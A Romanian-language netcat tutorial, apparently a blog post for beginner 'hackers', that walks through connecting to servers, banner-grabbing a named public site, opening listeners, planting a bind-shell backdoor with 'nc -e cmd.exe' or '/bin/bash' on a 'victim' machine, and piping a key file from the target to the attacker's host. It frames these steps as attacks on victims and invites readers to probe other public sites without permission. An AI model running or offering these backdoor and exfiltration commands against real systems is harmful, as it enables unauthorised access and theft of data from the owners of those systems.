Bine ați revenit, dragii mei greenhorn hackers!
De mai bine de 15 ani, un instrument micuț, dar puternic, a fost folosit de hackeri pentru o gamă largă de activități. Acest instrument se numește netcat și, deși este bine cunoscut în cercurile de hacking, este practic necunoscut în afara acestora.
Este atât de puternic și util, încât mulți oameni din comunitatea de hacking se referă la acesta ca la ,,cuțitul armatei elvețiene al instrumentelor de hacking”. În acest tutorial, vom analiza abilitățile acestui instrument simplu și modul în care hackerul aspirant îl poate folosi.
Ce este Netcat?
Netcat – precum multe alte instrumente de hacking – a fost creat cu scopul de a analiza rețelele. Dezvoltat de cineva cunoscut doar ca “Hobbit”, el a oferit acest instrument comunității IT, fără compensație, dar a primit numeroase premii. Mulțumim, Hobbit!
Ca atare, îl putem utiliza pentru a deschide conexiuni TCP și UDP între două computere, pe orice port dorește inimioara noastră. Acesta poate fi, de asemenea, folosit ca un instrument de scanare a porturilor, similar cu nmap. În plus, acesta poate fi utilizat pentru port forwarding, proxying, servere web simple, dar și lăsarea unui backdoor pentru hacker.
Să ne uităm la unele dintre aceste abilități folosind sistemul nostru preferat, BlackWeb OS.
Pasul 1: Deschidem Netcat
Imediat ce am pornit sistemul BlackWeb OS și am deschis un terminal, putem folosi netcat din orice director deoarece acesta este localizat în directorul nostru bin, ce se află în variabila PATH, în mod implicit. Deci, tastăm:
- nc -h
După cum putem vedea, sintaxele de bază pentru netcat sunt următoarele:
Pentru a ne conecta la alt computer:
- nc options host IP address port
Pentru a asculta conexiunile de intrare:
- nc -l -p port
Pasul 2: Utilizăm Netcat pentru a ne conecta la un sistem aflat la distanță
O să folosim Netcat pentru conectarea la un sistem aflat la distanță. În acest caz, vom încerca să ne conectăm la un server web pe portul 80. Tastăm următoarea comandă:
- nc 167.99.203.76 80
Acest lucru ne oferă o conexiune TCP, în mod implicit, la serverul web (port 80) la adresa 167.99.203.76. Acum, orice vom introduce, vom trimite direct către serverul web, când apăsăm tasta Enter.
Pasul3: Utilizarea Netcat pentru ,,amprentarea” sistemului de operare
Imediat ce avem o conexiune TCP la serverul web, putem folosi netcat pentru a ,,prinde banner-ul” serverului web cu scopul de a identifica ce software utilizează victima.
Trebuie să ne amintim că înainte de a ataca orice sistem, trebuie să știm cât mai multe despre victimă. Netcat ne poate ajuta cu această sarcină prin prinderea acestor bannere pe care serverele web le oferă unor conexiuni noi.
Acum, că avem o conexiune, putem prinde banner-ul la serverul web introducând:
- HEAD / HTTP/1.0
Trebuie să fim atenți și să copiem exact așa cum l-am scris, cu slash-uri și spații.
Putem folosi această tehnică și pe alte site-uri publice. Să încercăm pe unele site-uri web cunoscute, pentru a vedea ce software de server ulează. Eu am încercat lucrul acesta pe ip-ul serverului blackweb.ro. Când vom da ping la blackweb.ro, vedem că adresa IP este 167.99.203.76. Deci, putem scrie:
- nc 167.99.203.76 80
După ce am obținut o conexiune, putem să luăm bannerul serverului web introducând:
- HEAD / HTTP/1.0
Apoi apăsăm tasta enter de două sau de trei ori.
După cum vedem, blackweb.ro rulează nginx/1.14.0
Putem continua și încerca pe alte site-uri, pentru a afla ce server rulează.
Pasul 4: Folosim Netcat pentru a urmări conexiuni
Acum, o să folosim netcat pentru a crea un listener pe sistemul aflat la distanță. Să presupunem că avem un server Windows pe care am instalat netcat. Acum putem scrie următoarea comandă pentru a deschide un listener netcat pe portul 2030 (poate fi orice port) pe acel sistem.
- nc – l -p 2030
Acest lucru a creat un “ascultător” la care ne putem conecta în timpul liber. Reținem că pe sistemele Windows, putem executa aceeași comandă cu un L mare și va crea un listener persistent care se va deschide și atunci când sistemul este repornit.
Pasul 5: Realizarea unui backdoor
Acum, haideți să creăm un backdoor pe sistemul victimelor la care ne putem întoarce în orice moment. Comanda variază ușor, în funcție de Linux sau Windows.
Pentru Windows, folosim:
- nc -l -p 2030 -e cmd.exe
Pentru Linux folosim:
- nc -l -p 2030 -e /bin/bash
Această comandă va deschide un listener pe sistemul care va “conduce” shell-ul de comandă sau shell-ul bash Linux la sistemul de conectare. Apoi, pe sistemul nostru de atac, tastăm:
- nc 192.168.1.105 2030
După cum putem vedea, promptul de comandă Windows a fost conectat prin intermediul conexiunii netcat, direct la sistemul nostru de atac.
Pasul 6: Copiem fișiere de la sistemul țintă
Netcat poate fi, de asemenea, utilizat pentru a extrage fișiere și date de la victimă. Să ne imaginăm că avem nevoie de informații din sistemul victimelor. Poate fi vorba despre datele financiare sau datele stocate într-o bază de date. Putem folosi o conexiune stealth pentru a copia încet aceste date în sistemul nostru. În acest exemplu, vom extrage un fișier numit MasterKey.txt, probabil un fișier text, ce conține cheia principală a serverului BlackWeb OS.
Din sistemul sursă, introducem:
- type MasterKey.txt | nc 192.168.1.105 2030
Această comandă spune afișați fișierul MasterKey.txt și apoi transferați-l (|) către netcat (nc) la adresa IP 192.168.1.105 prin portul 2030.
Din sistemul destinație (cu care atacăm) introducem:
- nc -l -p 2030 > MasterKey.txt
Această comandă spune că se realizează un listener (l) pe portul (p) 2030 și apoi că trimitem datele primite de la acest listener unui fișier numit MasterKey.txt.
În tutorialele viitoare ne vom uita la alte modalități prin care acest instrument puternic, poate ajuta hackerii buni, așa că nu uitați să reveniți!
Până data viitoare, să ne citim cu bine! 🙂